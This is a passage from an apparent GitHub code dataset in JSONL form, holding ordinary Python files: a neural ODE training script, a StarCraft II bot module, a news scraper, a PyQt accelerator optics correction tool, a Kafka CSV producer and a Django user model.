config[\"input_length\"]\n target_length = config[\"target_length\"]\n batch_size = config[\"batch_size\"]\n\n print(\"-\"*50 + \"\\n\", \"Loading dataset...\")\n root = \"/users/eleves-b/2019/maxime.bonnin/perso/PhyDNet/data/\"\n \n train_dataset = NewMovingMNIST(root, is_train=True, n_frames_input=input_length, n_frames_output=target_length)\n test_dataset = NewMovingMNIST(root, is_train=False, n_frames_input=input_length, n_frames_output=target_length)\n\n # train_dataset = MovingMNIST(input_length=input_length, target_length=target_length, is_train=True, train_rate=0.8)\n # test_dataset = MovingMNIST(input_length=input_length, target_length=target_length, is_train=False, train_rate=0.8)\n\n train_loader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\n test_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=True)\n print('Done.')\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n \n # Create model\n layers_encoder = config[\"layers_encoder\"]\n input_length = config[\"input_length\"]\n target_length = config[\"target_length\"]\n dim_dynamic = config[\"dim_dynamic\"]\n dim_appearance = config[\"dim_appearance\"]\n out_channels = config[\"out_channels\"]\n \n latent_encoder = 2 * dim_dynamic + dim_appearance\n latent_decoder = dim_dynamic + dim_appearance\n\n print(\"-\"*50 + \"\\n\", \"Creating encoder...\")\n encoder = ResNetEncoder64(layers_encoder, input_length + 2, latent_encoder).to(device)\n decoder = ResNetDecoder64(img_channel=out_channels, n_latent=latent_decoder).to(device)\n print(\"Done.\")\n\n \n \n ode_out_dim = dim_dynamic\n ode_hidden_dim = config[\"ode_hidden_dim\"]\n augment_dim = config[\"augment_dim\"]\n\n print(\"-\"*50 + \"\\n\", \"Creating ConvNODE with appearance model...\")\n convnode = ConvNodeAppearance(device, encoder, decoder,\n dim_dynamic, dim_appearance, input_length + 2, \n out_channels, ode_hidden_dim, ode_out_dim, augment_dim=augment_dim).to(device)\n\n print(\"Done.\")\n\n print(\"-\"*50 + \"\\n\", \"Creating discriminators ...\")\n frame_classifier = FrameClassifier(device, 3).to(device)\n seq_classifier = FrameClassifier(device, 12).to(device)\n discriminators = Discriminators(seq_discriminator=seq_classifier, frame_discriminator=frame_classifier).to(device)\n optimizer_discriminators = torch.optim.Adam(discriminators.parameters(), lr=config[\"lr_discriminators\"])\n print(\"Done.\")\n \n # Create loss\n \n print(\"-\"*50 + \"\\n\", \"Creating loss...\")\n lr = config[\"lr\"]\n reg_lambda = config[\"reg_lambda\"]\n step_decay = config[\"step_decay\"]\n decay_rate = config[\"decay_rate\"]\n loss_fn = LatentRegularizerLoss(device, reg_lambda=reg_lambda)\n adv_loss = nn.BCELoss()\n print(\"Done.\")\n\n # Create optimizer and scheduler\n print(\"-\"*50 + \"\\n\", \"Creating optimizer...\")\n \n optimizer = torch.optim.Adam(convnode.parameters(), lr=config[\"lr\"])\n scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_decay, decay_rate)\n print(\"Done.\")\n\n # Train\n root_model = Path(config[\"root_model\"])\n checkpoint_name = config[\"checkpoint_name\"]\n checkpoint_image_interval = config[\"checkpoint_image_interval\"]\n checkpoint_model_interval = config[\"checkpoint_model_interval\"]\n root_images = Path(config[\"root_images\"])\n epochs = config[\"epochs\"]\n \n # convnode.load_state_dict(torch.load(os.path.join(root_model, \"convnode_appearance64_epoch_100.pt\")))\n\n assert train_dataset.dt == test_dataset.dt, \"The dt must be the same for both dataset.\"\n \n print(\"-\"*50 + \"\\n\", \"Training...\")\n main(device, convnode, optimizer, discriminators, optimizer_discriminators, scheduler, epochs, train_loader, test_loader, \n input_length, loss_fn, adv_loss, root_images, out_display=-1, checkpoint_image_interval=checkpoint_image_interval,\n checkpoint_model_interval=checkpoint_model_interval)\n print(\"Done.\")\n ","repo_name":"MaximeB3N/IntNeuralODE","sub_path":"adv_appearance_train.py","file_name":"adv_appearance_train.py","file_ext":"py","file_size_in_byte":15477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2749859905","text":"from sc2.constants import PYLON, ADEPT, SENTRY, CYBERNETICSCORE, PROTOSSGROUNDWEAPONSLEVEL1, ADEPTSHIELDUPGRADE # RESONATINGGLAIVES\nfrom model.ModuleModel import *\nfrom starter.minor.Pylon import *\nfrom starter.minor.Cybercore import *\nfrom starter.minor.GatewayTrain import *\nfrom starter.minor.Nexus import *\nfrom starter.minor.TechSearch import *\n\n\nclass Basic2(ModuleModel):\n def __init__(self):\n self.ok = False\n self.nexus = Nexus(1)\n self.cyber = Cybercore(1)\n self.train = GatewayTrain(1)\n self.pylon = Pylon(1)\n self.tech = TechSearch(CYBERNETICSCORE)\n\n self.tech.add_tech(PROTOSSGROUNDWEAPONSLEVEL1)\n self.tech.add_tech(ADEPTSHIELDUPGRADE)\n self.train.change_unit(SENTRY)\n\n async def condition(self, bot):\n pass\n \n async def run(self, bot):\n if bot.units(SENTRY).amount == 1:\n self.train.change_unit(ADEPT)\n self.train.change_number(10)\n await self.nexus.run(bot)\n await self.cyber.run(bot)\n await self.train.run(bot)\n if bot.units(CYBERNETICSCORE).ready.exists:\n await self.pylon.run(bot)\n if bot.units(PYLON).amount >= 2:\n self.ok = True\n\n ","repo_name":"alvarofpp/ufrn-dim0126-ia-starcraft-ii","sub_path":"starter/Basic2.py","file_name":"Basic2.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6130815918","text":"from asyncore import write\nfrom gettext import find\nfrom bs4 import BeautifulSoup\nimport requests\nimport csv\nimport pandas as pd\nimport openpyxl\nimport re\nimport json\n\ntitle_list = []\ndescription_list = []\ndatetime_list = []\ntime_list = []\nauthor_list = []\nall_link_list = []\nlink_list = []\n\nurl = requests.get('https://www.abc.net.au/news/topic/exercise-and-fitness')\nurl.encoding = \"uft-8\"\nsoup = BeautifulSoup(url.text, 'html.parser') \n\n\nfor i in range(23):\n for c in soup.find_all('div',{'class':'_3Bajv _2FvRw ZWhbj'},limit=2000):\n title_list.append([item.text for item in c.find_all('a',{'class' : '_2VA9J u0kBv _3CtDL _1_pW8 _3Fvo9 VjkbJ'})][i])\n\n author_list.append([item.text for item in c.find_all('a',{'class' : 'u0kBv _3CtDL _1_pW8 _3Fvo9 _1HW1q'})][i])\n\n description_list.append([item.text for item in c.find_all('div',{'class' : '_1EAJU _1lk8p _2O0_n _1BqKa _3pVeq hmFfs'})][i])\n\n datetime_list.append([item.text for item in c.find_all('time',{'class' : '_1EAJU _30fPZ _2L258 _14LIk _3pVeq hmFfs _2F43D'})][i])\n\n for L in c.find_all(\"div\",{'class':'_16eiR'}):\n all_link_list.append(str(L.find(\"a\",{'class':'_2VA9J u0kBv _3CtDL _1_pW8 _3Fvo9 VjkbJ'}).get(\"href\"))) \n \n link_list.append(all_link_list[i])\n\n time_list.append(datetime_list[i].split(' at')[1])\n datetime_list[i] = datetime_list[i].split(' at')[0]\n\ndata = {'Title' : title_list, 'Description' : description_list,'Author' : author_list ,'Date' : datetime_list, 'Time' : time_list, 'url' : link_list}\ntable = pd.DataFrame(data)\ntable['url'] = 'https://www.abc.net.au'+ table['url']\n\ntable = table.to_dict('records')\n\nprint(table)\n","repo_name":"Chosaeroyiiixd/DSI310","sub_path":"code_scrap.py","file_name":"code_scrap.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23011036661","text":"import sys # sys нужен для передачи argv в QApplication\r\nimport os\r\nfrom PyQt5 import QtWidgets, QtCore\r\nimport pyqtgraph as pg\r\nfrom PyQt5.uic.properties import QtGui\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg\r\nfrom matplotlib.figure import Figure\r\nimport MADX.madx as Madx\r\nfrom algorithm import Gauss_Newton\r\nimport time\r\n#from MADX.madx import structure_calculate\r\n#matplotlib.use('Qt5Agg')\r\n\r\nimport design2 # Это наш конвертированный файл дизайна\r\n\r\n\r\n\r\n\r\ndef save_file():\r\n # f = open(\"test.txt\", \"w\")\r\n # f.write(\"testing\")\r\n # f.close()\r\n print(\"sozdal\")\r\n\r\n\r\n\r\n# def paint():\r\n# graph = pg.PlotWidget()\r\n# x = np.random.random(10)\r\n# y = np.random.random(10)\r\n# graph.plot(x, y, clear=True)\r\n\r\nclass Stream(QtCore.QObject):\r\n \"\"\"Redirects console output to text widget.\"\"\"\r\n newText = QtCore.pyqtSignal(str)\r\n\r\n def write(self, text):\r\n self.newText.emit(str(text))\r\n\r\n\r\n\r\ntest = np.random.random(100)\r\n\r\nsingular_values = 0\r\nu = 0\r\nv = 0\r\nresponse_matrix = 0\r\ninverted_response_matrix = 0\r\nareSingularValuesPicked = False\r\nisRegionClean = True\r\nitteration = 0\r\nisOptimized = False\r\ntable_optimized = 0\r\n\r\n\r\nclass ExampleApp(QtWidgets.QMainWindow, design2.Ui_MainWindow):\r\n\r\n def __init__(self):\r\n # Это здесь нужно для доступа к переменным, методам\r\n # и т.д. в файле design.py\r\n super(ExampleApp, self).__init__()\r\n self.setupUi(self) # Это нужно для инициализации нашего дизайна\r\n self.isStructureLoaded = False\r\n #print(self.isStructureLoaded)\r\n\r\n\r\n self.actionOpen.triggered.connect(self.open_structure_file)\r\n self.calculateCorrection.clicked.connect(self.add_lattice_correction_plots)\r\n #self.calculateCorrection.clicked.connect(self.add_orbit_correction_plots)\r\n self.collectMatrix.clicked.connect(self.collect_response_matrix)\r\n self.invertMatrix.clicked.connect(self.choose_singular_values)\r\n\r\n self.collectMatrix_10.clicked.connect(self.Gauss_Newton_optimize)\r\n\r\n\r\n\r\n # self.ring = madx.Structure('MADX\\VEPP4M.txt')\r\n\r\n\r\n #self.viewBox = pg.Qt.\r\n # self.graphicsView2 = pg.PlotWidget()\r\n # self.verticalLayout.addWidget(self.graphicsView2)\r\n # self.graphicsView2.plot(test,test)\r\n # self.graphicsView2.removeItem(self.verticalLayout)\r\n #self.graphicsView1.getViewBox()\r\n\r\n\r\n\r\n #self.data = 0\r\n #self.textEdit = QtWidgets.QTextEdit()\r\n #self.setCentralWidget(self.textEdit)\r\n\r\n\r\n\r\n\r\n\r\n\r\n # w = pg.GraphicsLayoutWidget(self.tab_2,show=True, size=(600,400), border=True)\r\n # #w = pg.PlotItem(self.tab_2)\r\n # self.formLayout_2.setWidget(6, QtWidgets.QFormLayout.FieldRole, w)\r\n # w1 = w.addLayout(row=0, col=0)\r\n # v1a = w1.addViewBox(row=1, col=0, lockAspect=True)\r\n # img1a = pg.PlotCurveItem(svd)\r\n # axis = pg.AxisItem(orientation='left',showValues=True)\r\n # img2a = pg.PlotDataItem(svd1)\r\n #\r\n # v1a.addItem(img1a)\r\n # v1a.addItem(axis)\r\n # v1a.addItem(img2a)\r\n\r\n\r\n #print(v1a.getPlotItem())\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n # reg = pg.LinearRegionItem()\r\n # self.graphicsView_2.addItem(reg)\r\n # reg.sigRegionChangeFinished.connect(lambda: self.region(reg))\r\n\r\n\r\n\r\n\r\n\r\n self.add_functions()\r\n\r\n\r\n\r\n\r\n\r\n def draw_optics(self,item, checkButton):\r\n #self.graphicsView.setBackground('w')\r\n if checkButton.isChecked() == True:\r\n self.graphicsView.addItem(item)\r\n else:\r\n self.graphicsView.removeItem(item)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n def browse_folder(self):\r\n self.listWidget.clear() # На случай, если в списке уже есть элементы\r\n directory = QtWidgets.QFileDialog.getExistingDirectory(self, \"Выберите папку\")\r\n # открыть диалог выбора директории и установить значение переменной\r\n # равной пути к выбранной директории\r\n\r\n if directory: # не продолжать выполнение, если пользователь не выбрал директорию\r\n for file_name in os.listdir(directory): # для каждого файла в директории\r\n self.listWidget.addItem(file_name) # добавить файл в listWidget\r\n\r\n def add_functions(self):\r\n self.openButton.clicked.connect(self.browse_folder)\r\n self.saveButton.clicked.connect(save_file)\r\n #self.textBrowser.\r\n #self.saveButton.clicked.connect(paint)\r\n\r\n # def changeState(self, state1, state2):\r\n #\r\n # state1, state2 = state2, state1\r\n # return state1, state2\r\n\r\n\r\n def draw_data(self):\r\n #dataX, dataY = self.ring.read_BPMs(('MADX\\measureXY.txt'))\r\n #data = self.ring.read_BPMs(('MADX\\measureXY.txt'))\r\n dataS = self.ring.bad_twiss.s\r\n dataX, dataY = self.ring.bad_twiss.x,self.ring.twiss.x\r\n #print(dataY)\r\n self.graphicsView_2.plot(dataS,dataX)\r\n self.graphicsView_2.plot(dataS,dataY)\r\n\r\n\r\n def collect_response_matrix(self):\r\n global response_matrix, model_response_matrix, isRegionClean\r\n dataX, dataY = self.ring.read_BPMs('MADX\\measureBETXY.txt')\r\n #elem, number = self.ring.read_elements('MADX\\quads.txt')\r\n #elem, number = self.ring.read_elements('MADX\\correctors.txt')\r\n elem, number = self.ring.read_elements('MADX\\corrs&quads.txt')\r\n #tunes = np.array([[8.57081948, 7.622538629]])\r\n #model_tunes = np.array([[8.573128249, 7.618473106]])\r\n #data = np.concatenate((dataX,tunes))\r\n #print(data)\r\n\r\n response_matrix = self.ring.response_matrix_calculate(self.ring.bad_structure,self.ring.bad_structure_in_lines,elem,number,dataX[:,1],0.00001,areErrorsNeeded=False)\r\n #model_response_matrix = self.ring.response_matrix_calculate(self.ring.structure,elem,number,dataX[:,1],0.001)\r\n isRegionClean = False\r\n\r\n #return response_matrix, model_response_matrix\r\n return response_matrix\r\n\r\n def Gauss_Newton_optimize(self):\r\n global isOptimized,table_optimized\r\n dataX, dataY = self.ring.read_BPMs('MADX\\measureBETXY.txt')\r\n elem, number = self.ring.read_elements('MADX\\corrs&quads.txt')\r\n withErrors = False\r\n\r\n optimizer = Gauss_Newton(fileName)\r\n if withErrors == True:\r\n new_grad_parameters,new_alignment_parameters = optimizer.optimize(elem,number,dataX[:,1],withErrors=withErrors,step=0.00001,tolerance=1e-5)\r\n else:\r\n new_grad_parameters,new_alignment_parameters = optimizer.optimize(elem,number,dataX[:,1],withErrors=withErrors,step=0.00001,tolerance=1e-12),0\r\n\r\n\r\n\r\n # new_parameters = np.array([6.88936625e-04,6.99611785e-04,-1.25348505e-05,-2.44152118e-04,\r\n # 4.49023832e-06,-8.93807005e-06,1.35438095e-03,-2.62516523e-05,\r\n # 9.99917659e-06,1.34855732e-05,-1.37631506e-05,8.35790424e-06,\r\n # 8.35565530e-06,-1.37632447e-05,1.34873401e-05,9.99917302e-06,\r\n # -2.62571217e-05,1.35448174e-03,-8.93919408e-06,4.49084424e-06,\r\n # -2.44234132e-04,-1.25358175e-05,-3.66839148e-06,-5.42528278e-07,\r\n # -7.11985720e-07,1.94314783e-07,-1.10797254e-05,9.06372750e-06,\r\n # -1.81964154e-05,1.97227359e-06,9.16494657e-07,-4.17483188e-06,\r\n # -2.49726413e-06,1.24072698e-05,-1.92951458e-05,-1.92950244e-05,\r\n # 1.24067623e-05,-2.49710924e-06,-4.17686036e-06,9.16698712e-07,\r\n # 1.97506589e-06,-1.82042774e-05,9.06796278e-06,-1.10767659e-05,\r\n # 1.94356527e-07,-7.12440695e-07,-5.42881421e-07,-3.66740939e-06])\r\n # table_optimized,_ = self.ring.change_structure(self.ring.structure,self.ring.structure_in_lines,new_grad_parameters,np.zeros(number),new_alignment_parameters,areErrorsNeeded=False,areErrorsForOptimize=True)\r\n # new_grad_parameters = np.zeros_like(new_grad_parameters)\r\n table_optimized,_ = self.ring.change_structure(self.ring.bad_structure,self.ring.bad_structure_in_lines,-new_grad_parameters,np.zeros(number),-new_alignment_parameters,base_imperfections=True,areErrorsForSimpleSVD=False,areErrorsForOptimize=withErrors)\r\n isOptimized = True\r\n\r\n return table_optimized\r\n\r\n\r\n def choose_singular_values(self):\r\n global u, v\r\n\r\n u, sv, v = self.ring.invert_response_matrix(response_matrix)\r\n\r\n self.graphicsView_3.plot(sv)\r\n reg = pg.LinearRegionItem()\r\n self.graphicsView_3.addItem(reg)\r\n\r\n reg.sigRegionChangeFinished.connect(lambda: self.update_inverted_matrix(sv,reg))\r\n\r\n\r\n\r\n def update_inverted_matrix(self,sv,reg):\r\n global singular_values, inverted_response_matrix\r\n region = reg.getRegion()\r\n print(region)\r\n left_edge = np.maximum(int(region[0]),0)\r\n right_edge = np.minimum(int(region[1]),len(sv))\r\n singular_values = sv[left_edge:right_edge]\r\n\r\n if len(singular_values) != len(sv):\r\n zero_singulars = np.zeros(len(sv)-len(singular_values))\r\n singular_values = 1/singular_values\r\n singular_values = np.diag(np.concatenate((singular_values,zero_singulars)))\r\n else:\r\n singular_values = 1/singular_values\r\n singular_values = np.diag(singular_values)\r\n\r\n\r\n inverted_response_matrix = np.matmul(np.matmul(v,singular_values),u.T)\r\n self.checkBox_5.stateChanged.connect(lambda: self.check_sv_chosen(reg))\r\n\r\n\r\n def check_sv_chosen(self,reg):\r\n global areSingularValuesPicked\r\n if self.checkBox_5.isChecked() == True:\r\n reg.setMovable(m = False)\r\n areSingularValuesPicked = True\r\n else:\r\n reg.setMovable(m = True)\r\n areSingularValuesPicked = False\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n def add_lattice_correction_plots(self):\r\n if isOptimized == False:\r\n global itteration, previous_structure, previous_structure_short\r\n # if bpy.data.objects.get(\"asd\")\r\n # print(madx.Structure.__class_getitem__())\r\n\r\n ## for lattice correction\r\n #data = self.ring.read_BPMs('MADX\\measureBETXY.txt')\r\n #tunes = np.array([[8.57081948, 7.622538629]])\r\n #model_tunes = np.array([[8.573128249, 7.618473106]])\r\n #data = np.concatenate((data,tunes))\r\n #elem, number = self.ring.read_elements('MADX\\quads.txt')\r\n #matrix = self.ring.response_matrix_calculate(elem,number,data[:,1],0.001)\r\n\r\n if areSingularValuesPicked == True:\r\n print(inverted_response_matrix)\r\n if itteration == 0:\r\n # model_structure = np.concatenate((self.ring.twiss.betx,self.ring.twiss.bety,self.ring.summ_table.q1,self.ring.summ_table.q2))\r\n # real_structure = np.concatenate((self.ring.bad_twiss.betx,self.ring.bad_twiss.Fy,self.ring.bad_summ_table.q1,self.ring.bad_summ_table.q2))\r\n ## lattice\r\n # model_structure = np.concatenate((self.ring.twiss_short.betx,self.ring.twiss_short.bety))\r\n # real_structure = np.concatenate((self.ring.bad_twiss_short.betx,self.ring.bad_twiss_short.bety))\r\n ## orbit + lattice\r\n # model_structure = np.concatenate((self.ring.twiss_short.x,self.ring.twiss_short.y,self.ring.twiss_short.betx,self.ring.twiss_short.bety))\r\n # real_structure = np.concatenate((self.ring.bad_twiss_short.x,self.ring.bad_twiss_short.y,self.ring.bad_twiss_short.betx,self.ring.bad_twiss_short.bety))\r\n ## orbit\r\n model_structure = np.concatenate((self.ring.twiss_short.x,self.ring.twiss_short.y))\r\n real_structure = np.concatenate((self.ring.bad_twiss_short.x,self.ring.bad_twiss_short.y))\r\n\r\n #tunes = np.array([[8.57081948, 7.622538629]])\r\n #model_tunes = np.array([[8.573128249, 7.618473106]])\r\n else:\r\n ## lattice\r\n # model_structure = np.concatenate((self.ring.twiss_short.betx,self.ring.twiss_short.bety))\r\n # real_structure = np.concatenate((previous_structure_short.betx,previous_structure_short.bety))\r\n\r\n ## orbit and lattice\r\n model_structure = np.concatenate((self.ring.twiss_short.x,self.ring.twiss_short.y,self.ring.twiss_short.betx,self.ring.twiss_short.bety))\r\n real_structure = np.concatenate((previous_structure_short.x,previous_structure_short.y,previous_structure_short.betx,previous_structure_short.bety))\r\n\r\n corrected_optics = self.ring.correct_lattice(response_matrix,inverted_response_matrix,model_structure,real_structure,self.scaleFactor.value())\r\n corrected_twiss = corrected_optics.twiss\r\n corrected_twiss_short = corrected_optics.twiss_short\r\n previous_structure = corrected_twiss\r\n previous_structure_short = corrected_twiss_short\r\n error_short = self.ring.twiss_short.betx-corrected_twiss_short.betx\r\n error = self.ring.twiss.betx-corrected_twiss.betx\r\n print(np.sum(error),np.sum(error_short))\r\n #corrected_tunes = np.array([corrected_optics.summ.q1,corrected_optics.summ.q2])\r\n # print('model tunes:', model_tunes)\r\n # print('real tunes:', tunes)\r\n # print('corrected tunes', corrected_tunes)\r\n\r\n item1 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.twiss.dx)\r\n item2 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.bad_twiss.betx)\r\n item3 = pg.PlotCurveItem(self.ring.twiss.s,corrected_twiss.betx)\r\n item4 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.bad_twiss.x)\r\n item5 = pg.PlotCurveItem(self.ring.twiss.s,corrected_twiss.x)\r\n\r\n result = np.stack((self.ring.twiss.s,self.ring.twiss.betx,self.ring.twiss.bety,self.ring.twiss.dx,self.ring.twiss.dy,self.ring.bad_twiss.betx,self.ring.bad_twiss.bety,self.ring.bad_twiss.dx,self.ring.bad_twiss.dy,corrected_twiss.betx,corrected_twiss.bety,corrected_twiss.dx,corrected_twiss.dy),axis=1)\r\n result = pd.DataFrame(result).to_csv(\"result.txt\",sep=\"\\t\")\r\n\r\n\r\n # item3 = pg.PlotCurveItem(self.ring.twiss.s,corrected_twiss.x)\r\n # item4 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.bad_twiss.x)\r\n\r\n # item1 = pg.PlotCurveItem(self.ring.twiss_short.s,self.ring.twiss_short.betx)\r\n # item2 = pg.PlotCurveItem(self.ring.twiss_short.s,self.ring.bad_twiss_short.betx)\r\n # item3 = pg.PlotCurveItem(self.ring.twiss_short.s,corrected_twiss_short.betx)\r\n # item4 = pg.PlotCurveItem(self.ring.twiss_short.s,self.ring.twiss_short.dy)\r\n\r\n self.checkBox.stateChanged.connect(lambda: self.draw_optics(item1,self.checkBox))\r\n self.checkBox_2.stateChanged.connect(lambda: self.draw_optics(item2,self.checkBox_2))\r\n self.checkBox_3.stateChanged.connect(lambda: self.draw_optics(item3,self.checkBox_3))\r\n self.checkBox_4.stateChanged.connect(lambda: self.draw_optics(item4,self.checkBox_4))\r\n self.checkBox_6.stateChanged.connect(lambda: self.draw_optics(item5,self.checkBox_6))\r\n else:\r\n print(\"Pick singular values!\")\r\n\r\n itteration += 1\r\n\r\n else:\r\n\r\n corrected_twiss = table_optimized.twiss\r\n corrected_twiss_short = table_optimized.twiss_short\r\n item1 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.twiss.betx)\r\n item2 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.bad_twiss.betx)\r\n item3 = pg.PlotCurveItem(self.ring.twiss.s,corrected_twiss.betx)\r\n item4 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.bad_twiss.x)\r\n item5 = pg.PlotCurveItem(self.ring.twiss.s,corrected_twiss.x)\r\n\r\n self.checkBox.stateChanged.connect(lambda: self.draw_optics(item1,self.checkBox))\r\n self.checkBox_2.stateChanged.connect(lambda: self.draw_optics(item2,self.checkBox_2))\r\n self.checkBox_3.stateChanged.connect(lambda: self.draw_optics(item3,self.checkBox_3))\r\n self.checkBox_4.stateChanged.connect(lambda: self.draw_optics(item4,self.checkBox_4))\r\n self.checkBox_6.stateChanged.connect(lambda: self.draw_optics(item5,self.checkBox_6))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n def add_orbit_correction_plots(self):\r\n global itteration, previous_structure\r\n ## for orbit correction\r\n\r\n if areSingularValuesPicked == True:\r\n print(inverted_response_matrix)\r\n if itteration == 0:\r\n # model_structure = np.concatenate((self.ring.twiss.betx,self.ring.twiss.bety,self.ring.summ_table.q1,self.ring.summ_table.q2))\r\n # real_structure = np.concatenate((self.ring.bad_twiss.betx,self.ring.bad_twiss.bety,self.ring.bad_summ_table.q1,self.ring.bad_summ_table.q2))\r\n model_structure = np.concatenate((self.ring.twiss_short.x,self.ring.twiss_short.y))\r\n real_structure = np.concatenate((self.ring.bad_twiss_short.x,self.ring.bad_twiss_short.y))\r\n #tunes = np.array([[8.57081948, 7.622538629]])\r\n #model_tunes = np.array([[8.573128249, 7.618473106]])\r\n else:\r\n model_structure = np.concatenate((self.ring.twiss_short.x,self.ring.twiss_short.y))\r\n real_structure = np.concatenate((previous_structure_short.x,previous_structure_short.y))\r\n\r\n # data = self.ring.read_BPMs('MADX\\measureXY.txt')\r\n # elem, number = self.ring.read_elements('MADX\\correctors.txt')\r\n # matrix = self.ring.response_matrix_calculate(elem,number,data[:,1],0.0001)\r\n\r\n # model_structure = np.concatenate((self.ring.twiss.x,self.ring.twiss.y))\r\n # real_structure = np.concatenate((self.ring.bad_twiss.x,self.ring.bad_twiss.y))\r\n # corrected_twiss = self.ring.correct_lattice(matrix,model_structure,real_structure)\r\n\r\n corrected_optics = self.ring.correct_lattice(response_matrix,inverted_response_matrix,model_structure,real_structure,self.scaleFactor.value())\r\n corrected_twiss = corrected_optics.twiss\r\n corrected_twiss_short = corrected_optics.twiss_short\r\n previous_structure = corrected_twiss\r\n previous_structure_short = corrected_twiss_short\r\n\r\n # item1 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.twiss.x)\r\n # item2 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.bad_twiss.x)\r\n # item3 = pg.PlotCurveItem(self.ring.twiss.s,corrected_twiss.x)\r\n # item4 = pg.PlotCurveItem(self.ring.twiss.s,self.ring.twiss.dy)\r\n\r\n item1 = pg.PlotCurveItem(self.ring.twiss_short.s,self.ring.twiss_short.x)\r\n item2 = pg.PlotCurveItem(self.ring.twiss_short.s,self.ring.bad_twiss_short.x)\r\n item3 = pg.PlotCurveItem(self.ring.twiss_short.s,corrected_twiss_short.x)\r\n item4 = pg.PlotCurveItem(self.ring.twiss_short.s,self.ring.twiss_short.dy)\r\n\r\n self.checkBox.stateChanged.connect(lambda: self.draw_optics(item1,self.checkBox))\r\n self.checkBox_2.stateChanged.connect(lambda: self.draw_optics(item2,self.checkBox_2))\r\n self.checkBox_3.stateChanged.connect(lambda: self.draw_optics(item3,self.checkBox_3))\r\n self.checkBox_4.stateChanged.connect(lambda: self.draw_optics(item4,self.checkBox_4))\r\n else:\r\n print(\"Pick singular values!\")\r\n\r\n itteration += 1\r\n\r\n\r\n\r\n\r\n\r\n def open_structure_file(self):\r\n global fileName\r\n fileName = QtWidgets.QFileDialog.getOpenFileName(self,'Open file','C:\\\\Users\\\\r_mam\\\\IdeaProjects\\\\Correction\\\\MADX')[0]\r\n #print(fileName)\r\n # f = open(fileName, 'r')\r\n # with f:\r\n # file = f.read()\r\n\r\n if self.isStructureLoaded == False:\r\n self.ring = Madx.Structure(fileName)\r\n self.draw_data()\r\n turn = True\r\n #self.add_plots()\r\n self.isStructureLoaded = True\r\n else:\r\n print(\"Structure is already loaded!\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef main():\r\n app = QtWidgets.QApplication(sys.argv) # Новый экземпляр QApplication\r\n window = ExampleApp() # Создаём объект класса ExampleApp\r\n window.setWindowTitle(\"Optics Correction\")\r\n window.setGeometry(100, 100, 800, 800)\r\n window.show() # Показываем окно\r\n\r\n sys.exit(app.exec_()) # и запускаем приложение\r\n\r\n\r\nif __name__ == '__main__': # Если мы запускаем файл напрямую, а не импортируем\r\n main() # то запускаем функцию main()\r\n\r\n\r\n\r\n","repo_name":"Rasimilian/Optics-Correction-for-VEPP-4M","sub_path":"Test-program/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29704534153","text":"from kafka import KafkaProducer\nfrom kafka.errors import KafkaError\nimport time\nimport csv\nimport json\nfrom datetime import datetime\nimport random\n\nKAFKA_TOPIC_NAME_CONS = 'Ecommerce_topic'\nKAFKA_BOOTSTRAP_SERVERS_CONS = 'localhost:9092'\n\ndef serializer(message):\n return json.dumps(message).encode('utf-8')\n\nproducer = KafkaProducer(bootstrap_servers=[KAFKA_BOOTSTRAP_SERVERS_CONS],\n value_serializer=serializer)\n\ndef producer_message(message):\n try:\n producer.send(KAFKA_TOPIC_NAME_CONS, message)\n producer.flush()\n # record_metadata = notice.get(timeout=10)\n # print(record_metadata)\n except KafkaError as e:\n print(e)\n\nwith open(\"./dataset.csv\") as f:\n fdict = csv.DictReader(f, delimiter=\",\")\n for row in fdict:\n message = dict(row)\n producer_message(message)\n print(f'Producing message @ {datetime.now()} | Message = {str(message)}')\n time_to_sleep = random.randint(1, 7)\n time.sleep(time_to_sleep)\n","repo_name":"LongHoangNguyenH/Real-Time-DataPipeline-Ecommerces","sub_path":"Data-Generator/Producer.py","file_name":"Producer.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12119283080","text":"# -*- coding: utf-8 -*- \nimport re, urllib\nfrom django.db import models\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.models import User, AnonymousUser\nfrom django.contrib.sitemaps import Sitemap\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom django.template.defaultfilters import slugify, urlencode\n\nfrom annoying.fields import AutoOneToOneField\n\n\nclass Author(models.Model):\n user = AutoOneToOneField(User, primary_key=True, related_name=\"link5_profile\")\n newsletter = models.BooleanField(_(\"Accept newsletter if it exist one day?\"), default = False)\n avatar = models.ImageField(upload_to='avatars', blank=True, null=True)\n conditions = models.BooleanField(_(\"Term and conditions?\"), default = False)\n \n @property\n def author_email(self):\n return self.user.email \n \n @property\n def author_date_joined(self):\n return self.user.date_joined\n \n @property\n def author_last_login(self):\n return self.user.last_login\n \n def get_absolute_url(self):\n return reverse(\"user_view\", 